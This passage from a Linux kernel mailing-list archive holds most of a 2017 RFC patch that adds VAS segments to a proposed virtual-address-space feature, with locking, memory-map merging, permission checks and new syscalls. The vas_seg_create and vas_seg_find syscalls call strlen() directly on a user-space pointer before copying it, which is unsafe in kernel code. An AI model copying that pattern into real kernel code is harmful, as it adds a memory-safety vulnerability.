+	ret = idr_alloc(&vas_segs, seg, 1, VAS_MAX_ID, GFP_KERNEL);
+
+	spin_unlock(&vas_segs_lock);
+
+	if (ret < 0) {
+		__delete_vas_seg(seg);
+		return ret;
+	}
+
+	/* Add the remaining data to the VAS segment's data structure. */
+	seg->id = ret;
+	seg->kobj.kset = vas_segs_kset;
+
+	/* Initialize the kobject and add it to the sysfs. */
+	ret = kobject_init_and_add(&seg->kobj, &vas_seg_ktype, NULL,
+				   "%d", seg->id);
+	if (ret != 0) {
+		vas_seg_remove(seg);
+		return ret;
+	}
+
+	kobject_uevent(&seg->kobj, KOBJ_ADD);
+
+	return 0;
+}
+
+static inline struct vas_seg *vas_seg_lookup(int id)
+{
+	struct vas_seg *seg;
+
+	rcu_read_lock();
+
+	seg = idr_find(&vas_segs, id);
+	if (seg == INVALID_VAS_SEG)
+		seg = NULL;
+	if (seg)
+		seg = __vas_seg_get(seg);
+
+	rcu_read_unlock();
+
+	return seg;
+}
+
+static inline struct vas_seg *vas_seg_lookup_by_name(const char *name)
+{
+	struct vas_seg *seg;
+	int id;
+
+	rcu_read_lock();
+
+	idr_for_each_entry(&vas_segs, seg, id) {
+		if (seg == INVALID_VAS_SEG)
+			continue;
+
+		if (strcmp(seg->name, name) == 0)
+			break;
+	}
+
+	if (seg)
+		seg = __vas_seg_get(seg);
+
+	rcu_read_unlock();
+
+	return seg;
+}
+
  /**
-  * Management of the sharing of VAS.
+  * Management of the sharing of VAS and VAS segments.
   **/
 static inline int vas_take_share(int type, struct vas *vas)
 {
@@ -562,6 +849,39 @@ static inline void vas_put_share(int type, struct vas *vas)
 	spin_unlock(&vas->share_lock);
 }
 
+static inline int vas_seg_take_share(int type, struct vas_seg *seg)
+{
+	int ret;
+
+	spin_lock(&seg->share_lock);
+	if (type & MAY_WRITE) {
+		if ((seg->sharing & VAS_SHARE_READ_WRITE_MASK) == 0) {
+			seg->sharing += VAS_SHARE_WRITABLE;
+			ret = 1;
+		} else
+			ret = 0;
+	} else {
+		if ((seg->sharing & VAS_SHARE_WRITE_MASK) == 0) {
+			seg->sharing += VAS_SHARE_READABLE;
+			ret = 1;
+		} else
+			ret = 0;
+	}
+	spin_unlock(&seg->share_lock);
+
+	return ret;
+}
+
+static inline void vas_seg_put_share(int type, struct vas_seg *seg)
+{
+	spin_lock(&seg->share_lock);
+	if (type & MAY_WRITE)
+		seg->sharing -= VAS_SHARE_WRITABLE;
+	else
+		seg->sharing -= VAS_SHARE_READABLE;
+	spin_unlock(&seg->share_lock);
+}
+
 /**
  * Management of the memory maps.
  **/
@@ -609,6 +929,59 @@ static int init_att_vas_mm(struct att_vas *avas, struct task_struct *owner)
 	return 0;
 }
 
+static int init_vas_seg_mm(struct vas_seg *seg)
+{
+	struct mm_struct *mm;
+	unsigned long map_flags, page_prot_flags;
+	vm_flags_t vm_flags;
+	unsigned long map_addr;
+	int ret;
+
+	mm = mm_alloc();
+	if (!mm)
+		return -ENOMEM;
+
+	mm = mm_setup(mm);
+	if (!mm)
+		return -ENOMEM;
+
+	arch_pick_mmap_layout(mm);
+
+	map_flags = MAP_ANONYMOUS | MAP_FIXED;
+	page_prot_flags = PROT_READ | PROT_WRITE;
+	vm_flags = calc_vm_prot_bits(page_prot_flags, 0) |
+		calc_vm_flag_bits(map_flags) | mm->def_flags |
+		VM_DONTEXPAND | VM_DONTCOPY;
+
+	/* Find the possible mapping address for the VAS segment. */
+	map_addr = get_unmapped_area(mm, NULL, seg->start, seg->length,
+				     0, map_flags);
+	if (map_addr != seg->start) {
+		ret = -EFAULT;
+		goto out_free;
+	}
+
+	/* Insert the mapping into the mm_struct of the VAS segment. */
+	map_addr = mmap_region(mm, NULL, seg->start, seg->length,
+			       vm_flags, 0);
+	if (map_addr != seg->start) {
+		ret = -EFAULT;
+		goto out_free;
+	}
+
+	/* Populate the VAS segments memory region. */
+	mm_populate(mm, seg->start, seg->length);
+
+	/* The mm_struct is properly setup. We are done here. */
+	seg->mm = mm;
+
+	return 0;
+
+out_free:
+	mmput(mm);
+	return ret;
+}
+
 /**
  * Lookup the corresponding vm_area in the referenced memory map.
  *
@@ -1126,61 +1499,200 @@ static int task_unmerge(struct att_vas *avas, struct task_struct *tsk)
 }
 
 /**
- * Attach a VAS to a task -- update internal information ONLY
+ * Merge a VAS segment's memory map into a VAS memory map.
  *
- * Requires that the VAS is already locked.
+ * Requires that the VAS and the VAS segment is already locked.
  *
- * @param[in] avas:	The pointer to the attached-VAS data structure
- *			containing all the information of this attaching.
- * @param[in] tsk:	The pointer to the task to which the VAS should be
- *			attached.
- * @param[in] vas:	The pointer to the VAS which should be attached.
+ * @param[in] vas:	The pointer to the VAS into which the VAS segment should
+ *			be merged.
+ * @param[in] seg:	The pointer to the VAS segment that should be merged.
+ * @param[in] type:	The type of attaching (see attach_segment for more
+ *			information).
  *
- * @returns:		0 on succes, -ERRNO otherwise.
+ * @returns:		0 on success, -ERRNO otherwise.
  **/
-static int __vas_attach(struct att_vas *avas, struct task_struct *tsk,
-			struct vas *vas)
+static int vas_seg_merge(struct vas *vas, struct vas_seg *seg, int type)
 {
+	struct vm_area_struct *vma, *new_vma;
+	struct mm_struct *vas_mm, *seg_mm;
 	int ret;
 
-	/* Before doing anything, synchronize the RSS-stat of the task. */
-	sync_mm_rss(tsk->mm);
+	vas_mm = vas->mm;
+	seg_mm = seg->mm;
 
-	/*
-	 * Try to acquire the VAS share with the proper type. This will ensure
-	 * that the different sharing possibilities of VAS are respected.
-	 */
-	if (!vas_take_share(avas->type, vas)) {
-		pr_vas_debug("VAS is already attached exclusively\n");
-		return -EBUSY;
-	}
+	dump_memory_map("Before VAS MM", vas_mm);
+	dump_memory_map("Before VAS segment MM", seg_mm);
 
-	ret = vas_merge(avas, vas, avas->type);
-	if (ret != 0)
-		goto out_put_share;
+	if (down_write_killable(&vas_mm->mmap_sem))
+		return -EINTR;
+	down_read_nested(&seg_mm->mmap_sem, SINGLE_DEPTH_NESTING);
 
-	ret = task_merge(avas, tsk);
-	if (ret != 0)
-		goto out_put_share;
+	/* Try to copy all VMAs of the VAS into the AS of the attached-VAS. */
+	for (vma = seg_mm->mmap; vma; vma = vma->vm_next) {
+		unsigned long merged_vm_flags = vma->vm_flags;
 
-	vas->refcount++;
+		pr_vas_debug("Merging a VAS segment memory region (%#lx - %#lx)\n",
+			     vma->vm_start, vma->vm_end);
 
-	return 0;
+		/*
+		 * Remove the writable bit from the vm_flags if the VAS segment
+		 * is attached only readable.
+		 */
+		if (!(type & MAY_WRITE))
+			merged_vm_flags &= ~(VM_WRITE | VM_MAYWRITE);
 
-out_put_share:
-	vas_put_share(avas->type, vas);
-	return ret;
-}
+		new_vma = __copy_vm_area(seg_mm, vma, vas_mm, merged_vm_flags);
+		if (!new_vma) {
+			pr_vas_debug("Failed to merge a VAS segment memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+			ret = -EFAULT;
+			goto out_unlock;
+		}
 
-/**
- * Detach a VAS from a task -- update internal information ONLY
- *
- * Requires that the VAS is already locked.
- *
- * @param[in] avas:	The pointer to the attached-VAS data structure
- *			containing all the information of this attaching.
- * @param[in] tsk:	The pointer to the task from which the VAS should be
- *			detached.
+		/*
+		 * Remember for the VMA that we just added it to the VAS that it
+		 * actually belongs to the VAS segment.
+		 */
+		new_vma->vas_reference = seg_mm;
+	}
+
+	ret = 0;
+
+out_unlock:
+	up_read(&seg_mm->mmap_sem);
+	up_write(&vas_mm->mmap_sem);
+
+	dump_memory_map("After VAS MM", vas_mm);
+	dump_memory_map("After VAS segment MM", seg_mm);
+
+	return ret;
+}
+
+/**
+ * Unmerge the VAS segment-related parts of a VAS' memory map back into the
+ * VAS segment's memory map.
+ *
+ * Requires that the VAS and the VAS segment are already locked.
+ *
+ * @param[in] vas:	The pointer to the VAS from which the VAS segment
+ *			related data should be taken.
+ * @param[in] seg:	The pointer to the VAS segment for which the memory map
+ *			should be updated again.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int vas_seg_unmerge(struct vas *vas, struct vas_seg *seg)
+{
+	struct vm_area_struct *vma, *next;
+	struct mm_struct *vas_mm, *seg_mm;
+	int ret;
+
+	vas_mm = vas->mm;
+	seg_mm = seg->mm;
+
+	dump_memory_map("Before VAS MM", vas_mm);
+	dump_memory_map("Before VAS segment MM", seg_mm);
+
+	if (down_write_killable(&vas_mm->mmap_sem))
+		return -EINTR;
+	down_write_nested(&seg_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+
+	/* Update all memory regions which belonged to the VAS segment. */
+	for (vma = vas_mm->mmap, next = next_vma_safe(vma); vma;
+	     vma = next, next = next_vma_safe(next)) {
+		struct mm_struct *ref_mm = vma->vas_reference;
+
+		if (ref_mm != seg_mm) {
+			pr_vas_debug("Skipping memory region (%#lx - %#lx) during VAS segment unmerging\n",
+				     vma->vm_start, vma->vm_end);
+			continue;
+		} else {
+			struct vm_area_struct *upd_vma;
+
+			pr_vas_debug("Unmerging a VAS segment memory region (%#lx - %#lx)\n",
+				     vma->vm_start, vma->vm_end);
+
+			upd_vma = __update_vm_area(vas_mm, vma, seg_mm, NULL);
+			if (!upd_vma) {
+				pr_vas_debug("Failed to unmerge a VAS segment memory region (%#lx - %#lx)\n",
+					     vma->vm_start, vma->vm_end);
+				ret = -EFAULT;
+				goto out_unlock;
+			}
+		}
+
+		/* Remove the current VMA from the VAS memory map. */
+		__remove_vm_area(vas_mm, vma);
+	}
+
+	ret = 0;
+
+out_unlock:
+	up_write(&seg_mm->mmap_sem);
+	up_write(&vas_mm->mmap_sem);
+
+	dump_memory_map("After VAS MM", vas_mm);
+	dump_memory_map("After VAS segment MM", seg_mm);
+
+	return ret;
+}
+
+/**
+ * Attach a VAS to a task -- update internal information ONLY
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure
+ *			containing all the information of this attaching.
+ * @param[in] tsk:	The pointer to the task to which the VAS should be
+ *			attached.
+ * @param[in] vas:	The pointer to the VAS which should be attached.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int __vas_attach(struct att_vas *avas, struct task_struct *tsk,
+			struct vas *vas)
+{
+	int ret;
+
+	/* Before doing anything, synchronize the RSS-stat of the task. */
+	sync_mm_rss(tsk->mm);
+
+	/*
+	 * Try to acquire the VAS share with the proper type. This will ensure
+	 * that the different sharing possibilities of VAS are respected.
+	 */
+	if (!vas_take_share(avas->type, vas)) {
+		pr_vas_debug("VAS is already attached exclusively\n");
+		return -EBUSY;
+	}
+
+	ret = vas_merge(avas, vas, avas->type);
+	if (ret != 0)
+		goto out_put_share;
+
+	ret = task_merge(avas, tsk);
+	if (ret != 0)
+		goto out_put_share;
+
+	vas->refcount++;
+
+	return 0;
+
+out_put_share:
+	vas_put_share(avas->type, vas);
+	return ret;
+}
+
+/**
+ * Detach a VAS from a task -- update internal information ONLY
+ *
+ * Requires that the VAS is already locked.
+ *
+ * @param[in] avas:	The pointer to the attached-VAS data structure
+ *			containing all the information of this attaching.
+ * @param[in] tsk:	The pointer to the task from which the VAS should be
+ *			detached.
  * @param[in] vas:	The pointer to the VAS which should be detached.
  *
  * @returns:		0 on success, -ERRNO otherwise.
@@ -1209,6 +1721,83 @@ static int __vas_detach(struct att_vas *avas, struct task_struct *tsk,
 	return 0;
 }
 
+/**
+ * Attach a VAS segment to a VAS -- update internal information ONLY
+ *
+ * Requires that the VAS segment and the VAS are already locked.
+ *
+ * @param aseg:		The pointer tot he attached VAS segment data structure
+ *			containing all the information of this attaching.
+ * @param vas:		The pointer to the VAS to which the VAS segment should
+ *			be attached.
+ * @param seg:		The pointer to the VAS segment which should be attached.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int __vas_seg_attach(struct att_vas_seg *aseg, struct vas *vas,
+			   struct vas_seg *seg)
+{
+	int ret;
+
+	/*
+	 * Try to acquire the VAS segment share with the proper type. This will
+	 * ensure that the different sharing possibilities of VAS segments are
+	 * respected.
+	 */
+	if (!vas_seg_take_share(aseg->type, seg)) {
+		pr_vas_debug("VAS segment is already attached to a VAS writable\n");
+		return -EBUSY;
+	}
+
+	/* Update the memory map of the VAS. */
+	ret = vas_seg_merge(vas, seg, aseg->type);
+	if (ret != 0)
+		goto out_put_share;
+
+	seg->refcount++;
+	vas->nr_segments++;
+
+	return 0;
+
+out_put_share:
+	vas_seg_put_share(aseg->type, seg);
+	return ret;
+}
+
+/**
+ * Detach a VAS segment from a VAS -- update internal information ONLY
+ *
+ * Requires that the VAS segment and the VAS are already locked.
+ *
+ * @param aseg:		The pointer to the attached VAS segment data structure
+ *			containing all the information of this attaching.
+ * @param vas:		The pointer to the VAS from which the VAS segment should
+ *			be detached.
+ * @param seg:		The pointer to the VAS segment which should be detached.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static int __vas_seg_detach(struct att_vas_seg *aseg, struct vas *vas,
+			    struct vas_seg *seg)
+{
+	int ret;
+
+	/* Update the memory maps of the VAS segment and the VAS. */
+	ret = vas_seg_unmerge(vas, seg);
+	if (ret != 0)
+		return ret;
+
+	seg->refcount--;
+	vas->nr_segments--;
+
+	/*
+	 * We unlock the VAS segment here to ensure our sharing properties.
+	 */
+	vas_seg_put_share(aseg->type, seg);
+
+	return 0;
+}
+
 static int __sync_from_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 {
 	struct vm_area_struct *vma;
@@ -1542,6 +2131,9 @@ int vas_create(const char *name, umode_t mode)
 	spin_lock_init(&vas->share_lock);
 	vas->sharing = 0;
 
+	INIT_LIST_HEAD(&vas->segments);
+	vas->nr_segments = 0;
+
 	vas->mode = mode & 0666;
 	vas->uid = current_uid();
 	vas->gid = current_gid();
@@ -1596,6 +2188,7 @@ EXPORT_SYMBOL(vas_find);
 int vas_delete(int vid)
 {
 	struct vas *vas;
+	struct att_vas_seg *aseg, *s_aseg;
 	int ret;
 
 	vas = vas_get(vid);
@@ -1618,6 +2211,39 @@ int vas_delete(int vid)
 		goto out_unlock;
 	}
 
+	/* Detach all still attached VAS segments. */
+	list_for_each_entry_safe(aseg, s_aseg, &vas->segments, vas_link) {
+		struct vas_seg *seg = aseg->seg;
+		int error;
+
+		pr_vas_debug("Detaching VAS segment - name: %s - from to-be-deleted VAS - name: %s\n",
+			     seg->name, vas->name);
+
+		/*
+		 * Make sure that our VAS segment reference is not removed while
+		 * we work with it.
+		 */
+		__vas_seg_get(seg);
+
+		/*
+		 * Since the VAS from which we detach this VAS segment is going
+		 * to be deleted anyways we can shorten the detaching process.
+		 */
+		vas_seg_lock(seg);
+
+		error = __vas_seg_detach(aseg, vas, seg);
+		if (error != 0)
+			pr_alert("Detaching VAS segment from VAS failed with %d\n",
+				 error);
+
+		list_del(&aseg->seg_link);
+		list_del(&aseg->vas_link);
+		__delete_att_vas_seg(aseg);
+
+		vas_seg_unlock(seg);
+		__vas_seg_put(seg);
+	}
+
 	vas_unlock(vas);
 
 	vas_remove(vas);
@@ -1908,19 +2534,433 @@ int vas_setattr(int vid, struct vas_attr *attr)
 }
 EXPORT_SYMBOL(vas_setattr);
 
+int vas_seg_create(const char *name, unsigned long start, unsigned long end,
+		   umode_t mode)
+{
+	struct vas_seg *seg;
+	int ret;
+
+	if (!name || !PAGE_ALIGNED(start) || !PAGE_ALIGNED(end) ||
+	    (end <= start))
+		return -EINVAL;
+
+	if (vas_seg_find(name) > 0)
+		return -EEXIST;
+
+	pr_vas_debug("Creating a new VAS segment - name: %s start: %#lx end: %#lx\n",
+		     name, start, end);
+
+	/* Allocate and initialize the VAS segment. */
+	seg = __new_vas_seg();
+	if (!seg)
+		return -ENOMEM;
+
+	if (strscpy(seg->name, name, VAS_MAX_NAME_LENGTH) < 0) {
+		ret = -EINVAL;
+		goto out_free;
+	}
+
+	mutex_init(&seg->mtx);
+
+	seg->start = start;
+	seg->end = end;
+	seg->length = end - start;
+
+	ret = init_vas_seg_mm(seg);
+	if (ret != 0)
+		goto out_free;
+
+	seg->refcount = 0;
+
+	INIT_LIST_HEAD(&seg->attaches);
+	spin_lock_init(&seg->share_lock);
+	seg->sharing = 0;
+
+	seg->mode = mode & 0666;
+	seg->uid = current_uid();
+	seg->gid = current_gid();
+
+	ret = vas_seg_insert(seg);
+	if (ret != 0)
+		/*
+		 * We don't need to free anything here. @vas_seg_insert will
+		 * care for the deletion if something went wrong.
+		 */
+		return ret;
+
+	return seg->id;
+
+out_free:
+	__delete_vas_seg(seg);
+	return ret;
+}
+EXPORT_SYMBOL(vas_seg_create);
+
+struct vas_seg *vas_seg_get(int sid)
+{
+	return vas_seg_lookup(sid);
+}
+EXPORT_SYMBOL(vas_seg_get);
+
+void vas_seg_put(struct vas_seg *seg)
+{
+	if (!seg)
+		return;
+
+	return __vas_seg_put(seg);
+}
+EXPORT_SYMBOL(vas_seg_put);
+
+int vas_seg_find(const char *name)
+{
+	struct vas_seg *seg;
+
+	seg = vas_seg_lookup_by_name(name);
+	if (seg) {
+		int sid = seg->id;
+
+		vas_seg_put(seg);
+		return sid;
+	}
+
+	return -ESRCH;
+}
+EXPORT_SYMBOL(vas_seg_find);
+
+int vas_seg_delete(int id)
+{
+	struct vas_seg *seg;
+	int ret;
+
+	seg = vas_seg_get(id);
+	if (!seg)
+		return -EINVAL;
+
+	pr_vas_debug("Deleting VAS segment - name: %s\n", seg->name);
+
+	vas_seg_lock(seg);
+
+	if (seg->refcount != 0) {
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/* The user needs write permission to the VAS segment to delete it. */
+	ret = __check_permission(seg->uid, seg->gid, seg->mode, MAY_WRITE);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to delete the VAS segment\n");
+		goto out_unlock;
+	}
+
+	vas_seg_unlock(seg);
+
+	vas_seg_remove(seg);
+	vas_seg_put(seg);
+
+	return 0;
+
+out_unlock:
+	vas_seg_unlock(seg);
+	vas_seg_put(seg);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_seg_delete);
+
+int vas_seg_attach(int vid, int sid, int type)
+{
+	struct vas *vas;
+	struct vas_seg *seg;
+	struct att_vas_seg *aseg;
+	int ret;
+
+	type &= (MAY_READ | MAY_WRITE);
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	seg = vas_seg_get(sid);
+	if (!seg) {
+		vas_put(vas);
+		return -EINVAL;
+	}
+
+	pr_vas_debug("Attaching VAS segment - name: %s - to VAS - name: %s - %s\n",
+		     seg->name, vas->name, access_type_str(type));
+
+	vas_lock(vas);
+	vas_seg_lock(seg);
+
+	/*
+	 * Before we can attach the VAS segment to the VAS we have to make some
+	 * sanity checks.
+	 */
+
+	/*
+	 * 1: Check that the user has adequate permissions to attach the VAS
+	 * segment in the given way.
+	 */
+	ret = __check_permission(seg->uid, seg->gid, seg->mode, type);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to attach the VAS segment\n");
+		goto out_unlock;
+	}
+
+	/*
+	 * 2: The user needs write permission to the VAS to attach a VAS segment
+	 * to it. Check that this requirement is fulfilled.
+	 */
+	ret = __check_permission(vas->uid, vas->gid, vas->mode, MAY_WRITE);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions on the VAS to attach the VAS segment\n");
+		goto out_unlock;
+	}
+
+
+	/*
+	 * 3: Check if the VAS is attached to a process. We do not support
+	 * changes to an attached VAS. A VAS must not be attached to a process
+	 * to be able to make changes to it. This ensures that the page tables
+	 * are always properly initialized.
+	 */
+	if (vas->refcount != 0) {
+		pr_vas_debug("VAS is attached to a process\n");
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/*
+	 * 4: Check if the VAS segment is already attached to this particular
+	 * VAS. Double-attaching would lead to unintended behavior.
+	 */
+	list_for_each_entry(aseg, &seg->attaches, seg_link) {
+		if (aseg->vas == vas) {
+			pr_vas_debug("VAS segment is already attached to the VAS\n");
+			ret = 0;
+			goto out_unlock;
+		}
+	}
+
+	/* 5: Check if we reached the maximum number of shares for this VAS. */
+	if (seg->refcount == VAS_MAX_SHARES) {
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/*
+	 * All sanity checks are done. It is safe to attach this VAS segment to
+	 * the VAS now.
+	 */
+
+	/* Allocate and initialize the attached VAS segment data structure. */
+	aseg = __new_att_vas_seg();
+	if (!aseg) {
+		ret = -ENOMEM;
+		goto out_unlock;
+	}
+
+	aseg->seg = seg;
+	aseg->vas = vas;
+	aseg->type = type;
+
+	ret = __vas_seg_attach(aseg, vas, seg);
+	if (ret != 0)
+		goto out_free_aseg;
+
+	list_add(&aseg->vas_link, &vas->segments);
+	list_add(&aseg->seg_link, &seg->attaches);
+
+	ret = 0;
+
+out_unlock:
+	vas_seg_unlock(seg);
+	vas_seg_put(seg);
+
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return ret;
+
+out_free_aseg:
+	__delete_att_vas_seg(aseg);
+	goto out_unlock;
+}
+EXPORT_SYMBOL(vas_seg_attach);
+
+int vas_seg_detach(int vid, int sid)
+{
+	struct vas *vas;
+	struct vas_seg *seg;
+	struct att_vas_seg *aseg;
+	bool is_attached;
+	int ret;
+
+	vas = vas_get(vid);
+	if (!vas)
+		return -EINVAL;
+
+	vas_lock(vas);
+
+	is_attached = false;
+	list_for_each_entry(aseg, &vas->segments, vas_link) {
+		if (aseg->seg->id == sid) {
+			is_attached = true;
+			break;
+		}
+	}
+	if (!is_attached) {
+		pr_vas_debug("VAS segment is not attached to the given VAS\n");
+		ret = -EINVAL;
+		goto out_unlock_vas;
+	}
+
+	seg = aseg->seg;
+
+	/*
+	 * Make sure that our reference to the VAS segment is not deleted while
+	 * we are working with it.
+	 */
+	__vas_seg_get(seg);
+
+	vas_seg_lock(seg);
+
+	pr_vas_debug("Detaching VAS segment - name: %s - from VAS - name: %s\n",
+		     seg->name, vas->name);
+
+	/*
+	 * Before we can detach the VAS segment from the VAS we have to do some
+	 * sanity checks.
+	 */
+
+	/*
+	 * 1: Check if the VAS is attached to a process. We do not support
+	 * changes to an attached VAS. A VAS must not be attached to a process
+	 * to be able to make changes to it. This ensures that the page tables
+	 * are always properly initialized.
+	 */
+	if (vas->refcount != 0) {
+		pr_vas_debug("VAS is attached to a process\n");
+		ret = -EBUSY;
+		goto out_unlock;
+	}
+
+	/*
+	 * All sanity checks are done. It is safe to detach the VAS segment from
+	 * the VAS now.
+	 */
+	ret = __vas_seg_detach(aseg, vas, seg);
+	if (ret != 0)
+		goto out_unlock;
+
+	list_del(&aseg->seg_link);
+	list_del(&aseg->vas_link);
+	__delete_att_vas_seg(aseg);
+
+	ret = 0;
+
+out_unlock:
+	vas_seg_unlock(seg);
+	__vas_seg_put(seg);
+
+out_unlock_vas:
+	vas_unlock(vas);
+	vas_put(vas);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_seg_detach);
+
+int vas_seg_getattr(int sid, struct vas_seg_attr *attr)
+{
+	struct vas_seg *seg;
+	struct user_namespace *ns = current_user_ns();
+
+	if (!attr)
+		return -EINVAL;
+
+	seg = vas_seg_get(sid);
+	if (!seg)
+		return -EINVAL;
+
+	pr_vas_debug("Getting attributes for VAS segment - name: %s\n",
+		     seg->name);
+
+	vas_seg_lock(seg);
+
+	memset(attr, 0, sizeof(struct vas_seg_attr));
+	attr->mode = seg->mode;
+	attr->user = from_kuid(ns, seg->uid);
+	attr->group = from_kgid(ns, seg->gid);
+
+	vas_seg_unlock(seg);
+	vas_seg_put(seg);
+
+	return 0;
+}
+EXPORT_SYMBOL(vas_seg_getattr);
+
+int vas_seg_setattr(int sid, struct vas_seg_attr *attr)
+{
+	struct vas_seg *seg;
+	struct user_namespace *ns = current_user_ns();
+	int ret;
+
+	if (!attr)
+		return -EINVAL;
+
+	seg = vas_seg_get(sid);
+	if (!seg)
+		return -EINVAL;
+
+	pr_vas_debug("Setting attributes for VAS segment - name: %s\n",
+		     seg->name);
+
+	vas_seg_lock(seg);
+
+	/*
+	 * The user needs write permission to change attributes for the
+	 * VAS segment.
+	 */
+	ret = __check_permission(seg->uid, seg->gid, seg->mode, MAY_WRITE);
+	if (ret != 0) {
+		pr_vas_debug("User doesn't have the appropriate permissions to set attributes for the VAS segment\n");
+		goto out_unlock;
+	}
+
+	seg->mode = attr->mode & 0666;
+	seg->uid = make_kuid(ns, attr->user);
+	seg->gid = make_kgid(ns, attr->group);
+
+	ret = 0;
+
+out_unlock:
+	vas_seg_unlock(seg);
+	vas_seg_put(seg);
+
+	return ret;
+}
+EXPORT_SYMBOL(vas_seg_setattr);
+
 void __init vas_init(void)
 {
 	/* Create the SLAB caches for our data structures. */
 	vas_cachep = KMEM_CACHE(vas, SLAB_PANIC|SLAB_NOTRACK);
 	att_vas_cachep = KMEM_CACHE(att_vas, SLAB_PANIC|SLAB_NOTRACK);
 	vas_context_cachep = KMEM_CACHE(vas_context, SLAB_PANIC|SLAB_NOTRACK);
+	seg_cachep = KMEM_CACHE(vas_seg, SLAB_PANIC|SLAB_NOTRACK);
+	att_seg_cachep = KMEM_CACHE(att_vas_seg, SLAB_PANIC|SLAB_NOTRACK);
 
 	/* Initialize the internal management data structures. */
 	idr_init(&vases);
 	spin_lock_init(&vases_lock);
 
+	idr_init(&vas_segs);
+	spin_lock_init(&vas_segs_lock);
+
 	/* Initialize the place holder variables. */
 	INVALID_VAS = __new_vas();
+	INVALID_VAS_SEG = __new_vas_seg();
 
 	/* Initialize the VAS context of the init task. */
 	vas_clone(0, &init_task);
@@ -1941,6 +2981,12 @@ static int __init vas_sysfs_init(void)
 		return -ENOMEM;
 	}
 
+	vas_segs_kset = kset_create_and_add("vas_segs", NULL, kernel_kobj);
+	if (!vas_segs_kset) {
+		pr_err("Failed to initialize the VAS segment sysfs directory\n");
+		return -ENOMEM;
+	}
+
 	return 0;
 }
 postcore_initcall(vas_sysfs_init);
@@ -2186,3 +3232,105 @@ SYSCALL_DEFINE2(vas_setattr, int, vid, struct vas_attr __user *, uattr)
 
 	return vas_setattr(vid, &attr);
 }
+
+SYSCALL_DEFINE4(vas_seg_create, const char __user *, name, unsigned long, begin,
+		unsigned long, end, umode_t, mode)
+{
+	char seg_name[VAS_MAX_NAME_LENGTH];
+	int len;
+
+	if (!name)
+		return -EINVAL;
+
+	len = strlen(name);
+	if (len >= VAS_MAX_NAME_LENGTH)
+		return -EINVAL;
+
+	if (copy_from_user(seg_name, name, len) != 0)
+		return -EFAULT;
+
+	seg_name[len] = '\0';
+
+	return vas_seg_create(seg_name, begin, end, mode);
+}
+
+SYSCALL_DEFINE1(vas_seg_delete, int, id)
+{
+	if (id < 0)
+		return -EINVAL;
+
+	return vas_seg_delete(id);
+}
+
+SYSCALL_DEFINE1(vas_seg_find, const char __user *, name)
+{
+	char seg_name[VAS_MAX_NAME_LENGTH];
+	int len;
+
+	if (!name)
+		return -EINVAL;
+
+	len = strlen(name);
+	if (len >= VAS_MAX_NAME_LENGTH)
+		return -EINVAL;
+
+	if (copy_from_user(seg_name, name, len) != 0)
+		return -EFAULT;
+
+	seg_name[len] = '\0';
+
+	return vas_seg_find(seg_name);
+}
+
+SYSCALL_DEFINE3(vas_seg_attach, int, vid, int, sid, int, type)
+{
+	int vas_acc_type;
+
+	if (vid < 0 || sid < 0)
+		return -EINVAL;
+
+	vas_acc_type = __build_vas_access_type(type);
+	if (vas_acc_type == -1)
+		return -EINVAL;
+
+	return vas_seg_attach(vid, sid, vas_acc_type);
+}
+
+SYSCALL_DEFINE2(vas_seg_detach, int, vid, int, sid)
+{
+	if (vid < 0 || sid < 0)
+		return -EINVAL;
+
+	return vas_seg_detach(vid, sid);
+}
+
+SYSCALL_DEFINE2(vas_seg_getattr, int, sid, struct vas_seg_attr __user *, uattr)
+{
+	struct vas_seg_attr attr;
+	int ret;
+
+	if (sid < 0 || !uattr)
+		return -EINVAL;
+
+	ret = vas_seg_getattr(sid, &attr);
+	if (ret != 0)
+		return ret;
+
+	if (copy_to_user(uattr, &attr, sizeof(struct vas_seg_attr)) != 0)
+		return -EFAULT;
+
+	return 0;
+}
+
+SYSCALL_DEFINE2(vas_seg_setattr, int, sid, struct vas_seg_attr __user *, uattr)
+{
+	struct vas_seg_attr attr;
+
+	if (sid < 0 || !uattr)
+		return -EINVAL;
+
+	if (copy_from_user(&attr, uattr, sizeof(struct vas_seg_attr)) != 0)
+		return -EFAULT;
+
+	return vas_seg_setattr(sid, &attr);
+}
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 10/13] mm: Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 15:14:12 -0700
Lines: 3104
Approved: news@gmane.org
